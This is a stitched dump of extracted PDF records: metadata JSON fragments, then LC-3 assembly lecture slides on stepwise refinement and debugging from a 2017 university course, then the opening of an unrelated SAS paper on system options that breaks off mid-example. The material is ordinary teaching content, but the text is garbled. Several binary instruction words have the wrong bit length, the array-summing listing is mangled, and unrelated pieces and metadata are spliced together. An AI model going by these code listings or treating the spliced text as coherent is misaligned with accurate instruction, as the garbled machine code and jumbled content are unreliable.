null], [35169, 38759, null], [38759, 42066, null], [42066, 42834, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 42834, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 42834, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 42834, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 42834, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 42834, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 42834, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 42834, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 42834, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 42834, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 42834, null]], "pdf_page_numbers": [[0, 3115, 1], [3115, 7721, 2], [7721, 11259, 3], [11259, 14825, 4], [14825, 18475, 5], [18475, 21980, 6], [21980, 25970, 7], [25970, 29154, 8], [29154, 31850, 9], [31850, 35169, 10], [35169, 38759, 11], [38759, 42066, 12], [42066, 42834, 13]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 42834, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-07
|
2024-12-07
|
3df7713c6c5a3c4416372760b2f6b11f02e3e7b2
|
Introduction to Computer Engineering
CS/ECE 252, Spring 2017
Rahul Nayar
Computer Sciences Department
University of Wisconsin – Madison
Chapter 6
Programming
Announcements
We are here
- Electronic circuits
- ECE340
- Digital Design
- CS/ECE352
- Computer Architecture
- CS/ECE552
- Machine Language (ISA)
- CS/ECE354
- Compiler
- CS536
- Operating System
- CS537
- Application Program
- CS302
- Computer Architecture
- CS/ECE552
- Digital Design
- CS/ECE352
- Electronic circuits
- ECE340
Solving Problems using a Computer
Methodologies for creating computer programs that perform a desired function.
Problem Solving
• How do we figure out what to tell the computer to do?
• Convert problem statement into algorithm, using *stepwise refinement*.
• Convert algorithm into LC-3 machine instructions.
Debugging
• How do we figure out why it didn’t work?
• Examining registers and memory, setting breakpoints, etc.
*Time spent on the first can reduce time spent on the second!*
### In-class Exercise: Fill in the Instructions and Comments in Table below
<table>
<thead>
<tr>
<th>Address</th>
<th>Instruction</th>
<th>Comments</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x3003</td>
<td>R3 ← M[R3 + 0x0010]</td>
<td></td>
</tr>
<tr>
<td>0x3004</td>
<td>If Z or P, goto 0x2FDF</td>
<td></td>
</tr>
<tr>
<td>0x3005</td>
<td>1 0 1 0 1 0 1 0 0 0 0 0 0 0 0 0 1</td>
<td></td>
</tr>
<tr>
<td>0x3006</td>
<td>1 1 1 1 0 0 0 0 0 0 1 0 0 1 0 1</td>
<td>HALT (TRAP x25)</td>
</tr>
<tr>
<td>0x3007</td>
<td>0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0</td>
<td>0x4000</td>
</tr>
</tbody>
</table>
### In-class Exercise Solutions
<table>
<thead>
<tr>
<th>Address</th>
<th>Instruction</th>
<th>Comments</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x3003</td>
<td>LDR R3, R3, 0x0010</td>
<td>$R3 \leftarrow M[R3 + 0x0010]$</td>
</tr>
<tr>
<td>0x3004</td>
<td>BRzp N Z P 0x2FDF</td>
<td>If Z or P, goto 0x2FDF</td>
</tr>
</tbody>
</table>
| 0x3005 | LDI R5, 0x0001 | $R5 \leftarrow \text{mem[mem[0x3007]]}$
$R5 \leftarrow \text{mem[0x4000]}$ |
| 0x3006 | TRAP 0x25 | HALT (TRAP x25) |
| 0x3007 | 0x4000 | |
---
<table>
<thead>
<tr>
<th>Address</th>
<th>Instruction</th>
<th>Comments</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x3003</td>
<td>LDR R3, R3, 0x0010</td>
<td>$R3 \leftarrow M[R3 + 0x0010]$</td>
</tr>
<tr>
<td>0x3004</td>
<td>BRzp N Z P 0x2FDF</td>
<td>If Z or P, goto 0x2FDF</td>
</tr>
</tbody>
</table>
| 0x3005 | LDI R5, 0x0001 | $R5 \leftarrow \text{mem[mem[0x3007]]}$
$R5 \leftarrow \text{mem[0x4000]}$ |
| 0x3006 | TRAP 0x25 | HALT (TRAP x25) |
| 0x3007 | 0x4000 | |
Stepwise Refinement
Also known as systematic decomposition.
Start with problem statement:
“We wish to count the number of occurrences of a character in a file. The character in question is to be input from the keyboard; the result is to be displayed on the monitor.”
Decompose task into a few simpler subtasks.
Decompose each subtask into smaller subtasks, and these into even smaller subtasks, etc.... until you get to the machine instruction level.
Problem Statement
Because problem statements are written in English, they are sometimes ambiguous and/or incomplete.
- Where is “file” located? How big is it, or how do I know when I’ve reached the end?
- How should final count be printed? A decimal number?
- If the character is a letter, should I count both upper-case and lower-case occurrences?
How do you resolve these issues?
- Ask the person who wants the problem solved, or
- Make a decision and document it.
Three Basic Constructs
There are three basic ways to decompose a task:
**Sequential**
- Task
- Subtask 1
- Subtask 2
**Conditional**
- Task
- Test condition
- True
- Subtask 1
- False
- Subtask 2
**Iterative**
- Task
- Test condition
- True
- Subtask
- False
- Subtask
Sequential
Do Subtask 1 to completion, then do Subtask 2 to completion, etc.
- Get character input from keyboard
- Examine file and count the number of characters that match
- Count and print the occurrences of a character in a file
- Print number to the screen
Conditional
If condition is true, do Subtask 1; else, do Subtask 2.
Test character.
If match, increment counter.
file char = input?
True
Count = Count + 1
False
Iterative
Do Subtask over and over, as long as the test condition is true.
Check each element of the file and count the characters that match.
Check next char and count if matches.
more chars to check?
True
Check next char and count if matches.
False
Note:
- HW4 is due today (Remember to Staple)
- No class on Friday (March 3rd)
- Discussion Session for Mid-Term 2 on Monday (March 6th)
- Mid Term 2: Chapt 3 – Chapt 5
- Useful tip for Mid Term 2 Preparation:
- Start Solving HW 5
- HW 5 is due on Monday (March 13th)
- Start Working on PenSim Simulator:
- Instructions in the “computing” section of course website
- Start Working on the scripts uploaded in the course website
Points Covered So Far…:
• Methodologies to write computer programs.
• Problem Solving: Stepwise Refinement
• Debugging
• Three ways to decompose tasks:
• Sequential
• Iterative
• Conditional
Problem Solving Skills
• Like a puzzle, or a “word problem” from grammar school math.
➢ What is the starting state of the system?
➢ What is the desired ending state?
➢ How do we move from one state to another?
• Recognize English words that correlate to three basic constructs:
➢ “do A then do B” ⇒ sequential
➢ “if G, then do H” ⇒ conditional
➢ “for each X, do Y” ⇒ iterative
➢ “do Z until W” ⇒ iterative
LC-3 Control Instructions
How do we use LC-3 instructions to encode the three basic constructs?
**Sequential**
- Instructions naturally flow from one to the next, so no special instruction needed to go from one sequential subtask to the next.
**Conditional and Iterative**
- Create code that converts condition into N, Z, or P.
**Example:**
Condition: “Is R0 = R1?”
Code: Subtract R1 from R0; if equal, Z bit will be set.
- Then use BR instruction to transfer control to the proper subtask.
Code for Conditional
Assuming all addresses are close enough that PC-relative branch can be used.
Code for Iteration
Assuming all addresses are on the same page.
Example: Counting Characters
Input a character. Then scan a file, counting occurrences of that character. Finally, display on the monitor the number of occurrences of the character (up to 9).
START
A
- Initialize: Put initial values into all locations that will be needed to carry out this task.
- Input a character.
- Set up a pointer to the first location of the file that will be scanned.
- Get the first character from the file.
- Zero the register that holds the count.
B
- Scan the file, location by location, incrementing the counter if the character matches.
C
- Display the count on the monitor.
STOP
Initial refinement: Big task into three sequential subtasks.
Refining B
Scan the file, location by location, incrementing the counter if the character matches.
Test character. If a match, increment counter. Get next character.
Refining B into iterative construct.
Refining B1
Refining B1 into sequential subtasks.
Test character. If a match, increment counter. Get next character.
B1
Test character. If matches, increment counter.
B2
Get next character.
B3
Done?
Yes
No
Refining B1 into sequential subtasks.
Refining B2 and B3
Conditional (B2) and sequential (B3). Use of LC-2 registers and instructions.
The Last Step: LC-3 Instructions
Use comments to separate into modules and to document your code.
; Look at each char in file.
0001100001111100 ; is R1 = EOT?
0000010xxxxxxxxxx ; if so, exit loop
; Check for match with R0.
1001001001111111 ; R1 = -char
0001001001100001
0001001000000001 ; R1 = R0 - char
0000101xxxxxxxxxx ; no match, skip incr
0001010010100001 ; R2 = R2 + 1
; Incr file ptr and get next char
0001011011100001 ; R3 = R3 + 1
0110001011000000 ; R1 = M[R3]
Don't know PCoffset bits until all the code is done
Debugging
You’ve written your program and it doesn’t work. Now what?
What do you do when you’re lost in a city?
- Drive around randomly and hope you find it?
- Return to a known point and look at a map?
In debugging, the equivalent to looking at a map is *tracing* your program.
- Examine the sequence of instructions being executed.
- Keep track of results being produced.
- Compare result from each instruction to the *expected* result.
Debugging Operations
Any debugging environment should provide means to:
1. Display values in memory and registers.
2. Deposit values in memory and registers.
3. Execute instruction sequence in a program.
4. Stop execution when desired.
Different programming levels offer different tools.
- High-level languages (C, Java, ...) usually have source-code debugging tools.
- For debugging at the machine instruction level:
- simulators
- operating system “monitor” tools
LC-3 Simulator (PennSim)
- execute instruction sequences
- set/display registers
- set breakpoints
- set/display memory
Types of Errors
Syntax Errors
• You made a typing error that resulted in an illegal operation.
• Not usually an issue with machine language, because almost any bit pattern corresponds to some legal instruction.
• In high-level languages, these are often caught during the translation from language to machine code.
Logic Errors
• Your program is legal, but wrong, so the results don’t match the problem statement.
• Trace the program to see what’s really happening and determine how to get the proper behavior.
Data Errors
• Input data is different than what you expected.
• Test the program with a wide variety of inputs.
Tracing the Program
Execute the program one piece at a time, examining register and memory to see results at each step.
Single-Stepping
- Execute one instruction at a time.
- Tedious, but useful to help you verify each step of your program.
Breakpoints
- Tell the simulator to stop executing when it reaches a specific instruction.
- Check overall results at specific points in the program.
- Lets you quickly execute sequences to get a high-level overview of the execution behavior.
- Quickly execute sequences that your believe are correct.
In-class Exercise
LC-3 does not have a multiply instruction. Use step-wise refinement to multiple the contents of R4 and R5, and store the product/results in R2.
Quote of the Day:
“Computers are good at following instructions, but not at reading your mind.” – Donald Knuth
Example 1: Multiply
This program is supposed to multiply the two unsigned integers in R4 and R5.
Set R4 = 10, R5 =3.
Run program.
Result: R2 = 40, not 30.
Debugging the Multiply Program
<table>
<thead>
<tr>
<th>PC</th>
<th>R2</th>
<th>R4</th>
<th>R5</th>
</tr>
</thead>
<tbody>
<tr>
<td>x3200</td>
<td>--</td>
<td>10</td>
<td>3</td>
</tr>
<tr>
<td>x3201</td>
<td>0</td>
<td>10</td>
<td>3</td>
</tr>
<tr>
<td>x3202</td>
<td>10</td>
<td>10</td>
<td>3</td>
</tr>
<tr>
<td>x3203</td>
<td>10</td>
<td>10</td>
<td>2</td>
</tr>
<tr>
<td>x3201</td>
<td>10</td>
<td>10</td>
<td>2</td>
</tr>
<tr>
<td>x3202</td>
<td>20</td>
<td>10</td>
<td>2</td>
</tr>
<tr>
<td>x3203</td>
<td>20</td>
<td>10</td>
<td>1</td>
</tr>
<tr>
<td>x3203</td>
<td>20</td>
<td>10</td>
<td>1</td>
</tr>
<tr>
<td>x3201</td>
<td>20</td>
<td>10</td>
<td>1</td>
</tr>
<tr>
<td>x3202</td>
<td>30</td>
<td>10</td>
<td>1</td>
</tr>
<tr>
<td>x3203</td>
<td>30</td>
<td>10</td>
<td>0</td>
</tr>
<tr>
<td>x3201</td>
<td>30</td>
<td>10</td>
<td>0</td>
</tr>
<tr>
<td>x3202</td>
<td>40</td>
<td>10</td>
<td>0</td>
</tr>
<tr>
<td>x3203</td>
<td>40</td>
<td>10</td>
<td>-1</td>
</tr>
<tr>
<td>x3203</td>
<td>40</td>
<td>10</td>
<td>-1</td>
</tr>
</tbody>
</table>
Single-stepping
Breakpoint at branch (x3203)
Executing loop one time too many.
Branch at x3203 should be based on P bit only, not Z and P.
PC and registers at the beginning of each instruction
Example 2: Summing an Array of Numbers
This program is supposed to sum the numbers stored in 10 locations beginning with x3100, leaving the result in R1.
Address Instruction | Comment
--- | ---
00000000000110000000 | R1 ← R1 AND #0
010110010010000000 | R4 ← R4 AND #0
000110010010101010 | R4 ← R4 + #10
0010010011111110 | R2 ← M[3100]
0110011010000000 | R3 ← M[R2 + #0]
0001010010100001 | R2 ← R2 + #1
0001100100111111 | R4 ← R4 + # -1
BRp x3004 | HALT
Debugging the Summing Program
Running the the data below yields $R1 = \text{x0024}$, but the sum should be $\text{x8135}$. What happened?
<table>
<thead>
<tr>
<th>Address</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>x3100</td>
<td>x3107</td>
</tr>
<tr>
<td>x3101</td>
<td>x2819</td>
</tr>
<tr>
<td>x3102</td>
<td>x0110</td>
</tr>
<tr>
<td>x3103</td>
<td>x0310</td>
</tr>
<tr>
<td>x3104</td>
<td>x0110</td>
</tr>
<tr>
<td>x3105</td>
<td>x1110</td>
</tr>
<tr>
<td>x3106</td>
<td>x11B1</td>
</tr>
<tr>
<td>x3107</td>
<td>x0019</td>
</tr>
<tr>
<td>x3108</td>
<td>x0007</td>
</tr>
<tr>
<td>x3109</td>
<td>x0004</td>
</tr>
</tbody>
</table>
Start single-stepping program...
<table>
<thead>
<tr>
<th>PC</th>
<th>R1</th>
<th>R2</th>
<th>R4</th>
</tr>
</thead>
<tbody>
<tr>
<td>x3000</td>
<td>--</td>
<td>--</td>
<td>--</td>
</tr>
<tr>
<td>x3001</td>
<td>0</td>
<td>--</td>
<td>--</td>
</tr>
<tr>
<td>x3002</td>
<td>0</td>
<td>--</td>
<td>0</td>
</tr>
<tr>
<td>x3003</td>
<td>0</td>
<td>--</td>
<td>10</td>
</tr>
<tr>
<td>x3004</td>
<td>0</td>
<td>x3107</td>
<td>10</td>
</tr>
</tbody>
</table>
Loading **contents** of $M[x3100]$, not address. Change opcode of x3003 from 0010 (LD) to 1110 (LEA).
Should be x3100!
Example 3: Looking for a 5
This program is supposed to set R0=1 if there’s a 5 in one ten memory locations, starting at x3100. Else, it should set R0 to 0.
R0 = 1, R1 = -5, R3 = 10
R4 = x3100, R2 = M[R4]
R2 = 5?
Yes
R0 = 1
No
R3 = 0?
Yes
R3 = R3 - 1
R2 = M[R4]
No
R0 = 0
HALT
R0 = 1, R1 = -5, R3 = 10
R4 = x3100, R2 = M[R4]
x3000 0101000000100000
x3001 0001000000100001
x3002 0101001001100000
x3003 0001001001111011
x3004 0101011011100000
x3005 0001011011110101
x3006 001010000001001
x3007 0110010100000000
x3008 0010100100000001
x3009 0000100000000101
x300A 0011001001000001
x300B 0001011011111111
x300C 0110010100000000
x300D 0000001111111101
x300E 0101000000100000
x300F 1111000000100101
x3010 0011000100000000
Debugging the Fives Program
Running the program with a 5 in location x3108 results in \( R0 = 0 \), not \( R0 = 1 \). What happened?
Perhaps we didn’t look at all the data? Put a breakpoint at x300D to see how many times we branch back.
<table>
<thead>
<tr>
<th>Address</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>x3100</td>
<td>9</td>
</tr>
<tr>
<td>x3101</td>
<td>7</td>
</tr>
<tr>
<td>x3102</td>
<td>32</td>
</tr>
<tr>
<td>x3103</td>
<td>0</td>
</tr>
<tr>
<td>x3104</td>
<td>-8</td>
</tr>
<tr>
<td>x3105</td>
<td>19</td>
</tr>
<tr>
<td>x3106</td>
<td>6</td>
</tr>
<tr>
<td>x3107</td>
<td>13</td>
</tr>
<tr>
<td>x3108</td>
<td>5</td>
</tr>
<tr>
<td>x3109</td>
<td>61</td>
</tr>
</tbody>
</table>
PC | R0 | R2 | R3 | R4
---|----|----|----|-----
\text{x300D} | 1 | 7 | 9 | x3101 |
\text{x300D} | 1 | 32 | 8 | x3102 |
\text{x300D} | 1 | 0 | 7 | x3103 |
\text{0} | 0 | 7 | x3103 |
Branch uses condition code set by loading R2 with \( M[R4] \), not by decrementing R3. Swap x300B and x300C, or remove x300C and branch back to x3007.
In-class Exercise:
Design an algorithm for the following problem:
Finding First 1 in a Word
This program is supposed to return (in R1) the bit position of the first 1 in a word. The address of the word is in location x3009 (just past the end of the program). If there are no ones, R1 should be set to –1.
Quote of the Day:
“Intelligence is not what we know, but what we do when we don't know.”
-- Jean Piaget (1896-1980)
Example 4: Finding First 1 in a Word
This program is supposed to return (in R1) the bit position of the first 1 in a word. The address of the word is in location x3009 (just past the end of the program). If there are no ones, R1 should be set to –1.
R1 = 15
R2 = data
R2[15] = 1?
Yes
x3000 0101001001100000
x3001 0001001001101111
x3002 1010010000000110
x3003 0000100000000100
x3004 0001001001111111
x3005 0001010010000010
x3006 0000100000000001
x3007 0000111111111100
x3008 1111000000100101
x3009 0011000100000000
No
decrement R1
shift R2 left one bit
R2[15] = 1?
Yes
x3000 0101001001100000
x3001 0001001001101111
x3002 1010010000000110
x3003 0000100000000100
x3004 0001001001111111
x3005 0001010010000010
x3006 0000100000000001
x3007 0000111111111100
x3008 1111000000100101
x3009 0011000100000000
No
Debugging the First-One Program
Program works most of the time, but if data is zero, it never seems to HALT.
Breakpoint at backwards branch (x3007)
<table>
<thead>
<tr>
<th>PC</th>
<th>R1</th>
</tr>
</thead>
<tbody>
<tr>
<td>x3007</td>
<td>14</td>
</tr>
<tr>
<td>x3007</td>
<td>13</td>
</tr>
<tr>
<td>x3007</td>
<td>12</td>
</tr>
<tr>
<td>x3007</td>
<td>11</td>
</tr>
<tr>
<td>x3007</td>
<td>10</td>
</tr>
<tr>
<td>x3007</td>
<td>9</td>
</tr>
<tr>
<td>x3007</td>
<td>8</td>
</tr>
<tr>
<td>x3007</td>
<td>7</td>
</tr>
<tr>
<td>x3007</td>
<td>6</td>
</tr>
<tr>
<td>x3007</td>
<td>5</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>PC</th>
<th>R1</th>
</tr>
</thead>
<tbody>
<tr>
<td>x3007</td>
<td>4</td>
</tr>
<tr>
<td>x3007</td>
<td>3</td>
</tr>
<tr>
<td>x3007</td>
<td>2</td>
</tr>
<tr>
<td>x3007</td>
<td>1</td>
</tr>
<tr>
<td>x3007</td>
<td>0</td>
</tr>
<tr>
<td>x3007</td>
<td>-1</td>
</tr>
<tr>
<td>x3007</td>
<td>-2</td>
</tr>
<tr>
<td>x3007</td>
<td>-3</td>
</tr>
<tr>
<td>x3007</td>
<td>-4</td>
</tr>
<tr>
<td>x3007</td>
<td>-5</td>
</tr>
</tbody>
</table>
If no ones, then branch to HALT never occurs!
This is called an “infinite loop.”
Must change algorithm to either
(a) check for special case (R2=0), or
(b) exit loop if R1 < 0.
Debugging: Lessons Learned
Trace program to see what’s going on.
- Breakpoints, single-stepping
When tracing, make sure to notice what’s really happening, not what you think should happen.
- In summing program, it would be easy to not notice that address x3107 was loaded instead of x3100.
Test your program using a variety of input data.
- In Examples 3 and 4, the program works for many data sets.
- Be sure to test extreme cases (all ones, no ones, ...).
Backup Slides
LC-3 Simulator
- Execute instruction sequences
- Set/display registers and memory
- Stop execution, set breakpoints
The image shows a screenshot of the LC3 Simulator with various registers and memory values displayed. The simulator interface includes options to set breakpoints, which are indicated by red circles, and execute instruction sequences.
|
{"Source-Url": "http://pages.cs.wisc.edu/~rrahulnayar/cs252/Spring2017/lectures/Lecture6.pdf", "len_cl100k_base": 6188, "olmocr-version": "0.1.53", "pdf-total-pages": 41, "total-fallback-pages": 0, "total-input-tokens": 63727, "total-output-tokens": 7860, "length": "2e12", "weborganizer": {"__label__adult": 0.000690460205078125, "__label__art_design": 0.0011234283447265625, "__label__crime_law": 0.0007834434509277344, "__label__education_jobs": 0.06072998046875, "__label__entertainment": 0.00018918514251708984, "__label__fashion_beauty": 0.0004837512969970703, "__label__finance_business": 0.00047898292541503906, "__label__food_dining": 0.0009074211120605468, "__label__games": 0.0024700164794921875, "__label__hardware": 0.008331298828125, "__label__health": 0.000873565673828125, "__label__history": 0.0008058547973632812, "__label__home_hobbies": 0.0005326271057128906, "__label__industrial": 0.001888275146484375, "__label__literature": 0.0005316734313964844, "__label__politics": 0.0006303787231445312, "__label__religion": 0.0012226104736328125, "__label__science_tech": 0.09857177734375, "__label__social_life": 0.00029850006103515625, "__label__software": 0.01160430908203125, "__label__software_dev": 0.80322265625, "__label__sports_fitness": 0.0013275146484375, "__label__transportation": 0.001857757568359375, "__label__travel": 0.0003943443298339844}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 16708, 0.17558]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 16708, 0.44768]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 16708, 0.82586]], "google_gemma-3-12b-it_contains_pii": [[0, 137, false], [137, 159, null], [159, 512, null], [512, 1001, null], [1001, 1548, null], [1548, 2377, null], [2377, 2832, null], [2832, 3303, null], [3303, 3600, null], [3600, 3864, null], [3864, 4029, null], [4029, 4287, null], [4287, 4721, null], [4721, 4924, null], [4924, 5425, null], [5425, 5937, null], [5937, 6036, null], [6036, 6101, null], [6101, 6787, null], [6787, 6993, null], [6993, 7248, null], [7248, 7346, null], [7346, 7871, null], [7871, 8312, null], [8312, 8786, null], [8786, 8907, null], [8907, 9536, null], [9536, 10086, null], [10086, 10361, null], [10361, 10518, null], [10518, 11167, null], [11167, 11622, null], [11622, 12370, null], [12370, 13092, null], [13092, 13961, null], [13961, 14384, null], [14384, 15197, null], [15197, 15882, null], [15882, 16343, null], [16343, 16357, null], [16357, 16708, null]], "google_gemma-3-12b-it_is_public_document": [[0, 137, true], [137, 159, null], [159, 512, null], [512, 1001, null], [1001, 1548, null], [1548, 2377, null], [2377, 2832, null], [2832, 3303, null], [3303, 3600, null], [3600, 3864, null], [3864, 4029, null], [4029, 4287, null], [4287, 4721, null], [4721, 4924, null], [4924, 5425, null], [5425, 5937, null], [5937, 6036, null], [6036, 6101, null], [6101, 6787, null], [6787, 6993, null], [6993, 7248, null], [7248, 7346, null], [7346, 7871, null], [7871, 8312, null], [8312, 8786, null], [8786, 8907, null], [8907, 9536, null], [9536, 10086, null], [10086, 10361, null], [10361, 10518, null], [10518, 11167, null], [11167, 11622, null], [11622, 12370, null], [12370, 13092, null], [13092, 13961, null], [13961, 14384, null], [14384, 15197, null], [15197, 15882, null], [15882, 16343, null], [16343, 16357, null], [16357, 16708, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 16708, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, true], [5000, 16708, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 16708, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 16708, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, true], [5000, 16708, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 16708, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 16708, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 16708, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 16708, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 16708, null]], "pdf_page_numbers": [[0, 137, 1], [137, 159, 2], [159, 512, 3], [512, 1001, 4], [1001, 1548, 5], [1548, 2377, 6], [2377, 2832, 7], [2832, 3303, 8], [3303, 3600, 9], [3600, 3864, 10], [3864, 4029, 11], [4029, 4287, 12], [4287, 4721, 13], [4721, 4924, 14], [4924, 5425, 15], [5425, 5937, 16], [5937, 6036, 17], [6036, 6101, 18], [6101, 6787, 19], [6787, 6993, 20], [6993, 7248, 21], [7248, 7346, 22], [7346, 7871, 23], [7871, 8312, 24], [8312, 8786, 25], [8786, 8907, 26], [8907, 9536, 27], [9536, 10086, 28], [10086, 10361, 29], [10361, 10518, 30], [10518, 11167, 31], [11167, 11622, 32], [11622, 12370, 33], [12370, 13092, 34], [13092, 13961, 35], [13961, 14384, 36], [14384, 15197, 37], [15197, 15882, 38], [15882, 16343, 39], [16343, 16357, 40], [16357, 16708, 41]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 16708, 0.19444]]}
|
olmocr_science_pdfs
|
2024-12-07
|
2024-12-07
|
015cf07488c4cdf2011e2477bdb96a2a47008b27
|
Don't Despair, You Do Have An Option!
Wei (Lisa) Lin, Jiannan (Jane) Kang
Merck & Co., Inc., Upper Gwynecdd, PA
ABSTRACT
A large number of SAS® programmers may never change SAS system options. Why? Because SAS provides a full load of default system options based on assumptions of how programmers want the system to work. Default system options save programmers from having to specify every little detail when working in SAS, but programmers are not always satisfied with the assumptions SAS formulates. However, SAS provides a way for programmers to override the default options. Some options can only be specified when SAS initializes, but most system options can be changed at any time during the SAS session with a simple OPTIONS statement. This paper will discuss some of the common SAS system options that will make SAS work easier.
INTRODUCTION
SAS system options control how the SAS System formats output, handles files, processes data sets, interacts with the operating environment, and performs other tasks that are not specific to a single SAS program or data set. Changes to the settings of SAS system options are completed through following methods:
- In the SAS command;
- In a configuration or autoexec file;
- In the SAS OPTIONS statement;
- By using the OPTLOAD and OPTSAVE procedures;
- Through the SAS System Options window;
- In other ways, depending on the operating environment.
If the same system option appears in more than one place, the order of precedence from highest to lowest is as follows:
1. OPTIONS statement and SAS System Options window
2. autoexec file (that contains an OPTIONS statement)
3. command-line specification
4. configuration file specification
5. SAS system default settings.
When specifying a SAS system option setting, the setting applies to the next step and to all subsequent steps for the duration of the SAS session or until a reset is applied. A list of the available system options can be viewed by using the OPTIONS procedure or by going to VOPTION dictionary tables located in the SASHELP library. To use the OPTIONS procedure, submit the following SAS statements and view the results in the SAS log:
```
PROC OPTIONS;
RUN;
```
In this paper, SAS OPTIONS statement is discussed as a way of changing system options. The syntax for specifying system options in an OPTIONS statement is:
```
OPTIONS option(s);
```
Here 'option' specifies one or more SAS system options under consideration for change. In these statements, keyword options can appear simply as the option name to turn the option on, or the option name prefixed by NO to turn the option off. For keyword-value options, the option name is followed by an equal sign (=) and an appropriate value for the option.
A few options can take either a value or the NO prefix; in that case, the NO prefix is equivalent to a blank value or no value assigned to the option.
There are over 300 options available with SAS version 9. They are grouped into 23 groups based on the following functionality:
**COMMUNICATIONS**
- DATAQUALITY
- ERRORHANDLING
- EMAIL
- ENVDISPLAY
**ENVFILLES**
- HELP
- INPUTCONTROL
**GRAPHICS**
- LISTCONTROL
- LOG_LISTCONTROL
**LANGUAGECONTROL**
- MEMORY
- META
**MACRO**
- SASFILES
- SORT
**PERFORMANCE**
- EXECMODES
- INSTALL
- LOGCONTROL
- ODSPRINT
- EXTFILES
To display the settings of system options with a specific functionality, use the `GROUP=` option as shown below:
```sas
PROC OPTIONS GROUP=ERRORHANDLING;
RUN;
```
### SOME USEFUL SAS SYSTEM OPTIONS BY GROUP
#### ENVDISPLAY (Environment control: Display)
- **OPTIONS NOCHARCODE | CHARCODE**
This option specifies whether to use character combinations as substitutes for special characters not on the keyboard. You can find those character combinations in SAS Help document.
**Example:**
```sas
OPTIONS CHARCODE;
title '?( test title ?= test title ?/ test title ?>';
```
This statement produces the output:
`{test title ^ test title | test title }
- **ERRORHANDLING (Environment control: Error Handling)**
- **OPTIONS DSNFERR**
**DSNFERR** controls how SAS responds when a SAS data set is not found.
**Example:**
```sas
OPTIONS DSNFERR;
data b; set a; run;
Log:
ERROR: File WORK.A.DATA does not exist.
NOTE: The SAS System stopped processing this step because of errors.
WARNING: The data set WORK.B may be incomplete. When this step was stopped there were 0 observation and 0 variable.
```
```sas
OPTIONS NODSNFERR;
data b; set a; run;
Log:
NOTE: The data set WORK.B has 0 observation and 0 variable.
```
- **OPTIONS NODMSSYNCHK | DMSSYNCHK**
**NODMSSYNCHK** does not enable syntax check, in windowing mode, for a submitted statement block. If **NODMSSYNCHK** is in effect, SAS processes the remaining steps even if an error occurs in the previous step. **DMSSYNCHK** is to validate syntax in an interactive session by using the SAS windowing environment.
**Example:**
```sas
OPTIONS DMSSYNCHK;
data a; a=1; run;
OPTIONS NODMSSYNCHK;
data test;
A=1; if a=. b=1;
run;
Proc print data=a; run;
Log:
184 a=1; if a=. b=1;
22
ERROR 22-322: Syntax error, .......
NOTE: The SAS System stopped processing this step because of errors.
WARNING: The data set WORK.TEST may be incomplete. When this step was stopped there were 0 observation and 2 variables.
```
WARNING: Data set WORK.TEST was not replaced because this step was stopped.
186 proc print data=a; run;
NOTE: PROCEDURE PRINT used (Total process time):
Output: There is no output display for PROC PRINT procedure in OUTPUT window.
OPTIONS NODMSSYNCHK;
Data test;
A=1; if a=. b=1;
Run;
Proc print data=a; run;
Log: With system options NODMSSYNCHK enabled, in addition to the notes, error, and the warning messages above, SAS reports a note from PROC PRINT procedure. SAS outputs the data set a in OUTPUT window.
192 proc print data=a; run;
NOTE: There were 1 observation read from the data set WORK.A.
NOTE: PROCEDURE PRINT used (Total process time):
- OPTIONS ERRORCHECK = NORMAL | STRICT
This system option is used with DMSSYNCHK system option. It is used to specify the syntax check mode for the LIBNAME statement, the FILENAME statement, the %INCLUDE statement, and the LOCK statement in SAS/SHARE.
NORMAL does not place the SAS job into syntax-check mode when an error occurs in the above example.
STRICT places the SAS job into syntax-check code when an error occurs in the above example.
Example:
OPTIONS DMSSYNCHK ERRORCHECK = NORMAL;
libname - newlib 'c:\temp';
Log:
ERROR: - is not a valid SAS name.
ERROR: Error in the LIBNAME statement.
data b1 ; set a; run;
Log:
NOTE: There were 1 observation read from the data set WORK.A.
NOTE: The data set WORK.B1 has 1 observation and 1 variable.
OPTIONS DMSSYNCHK ERRORCHECK = STRICT;
libname - newlib 'c:\temp';
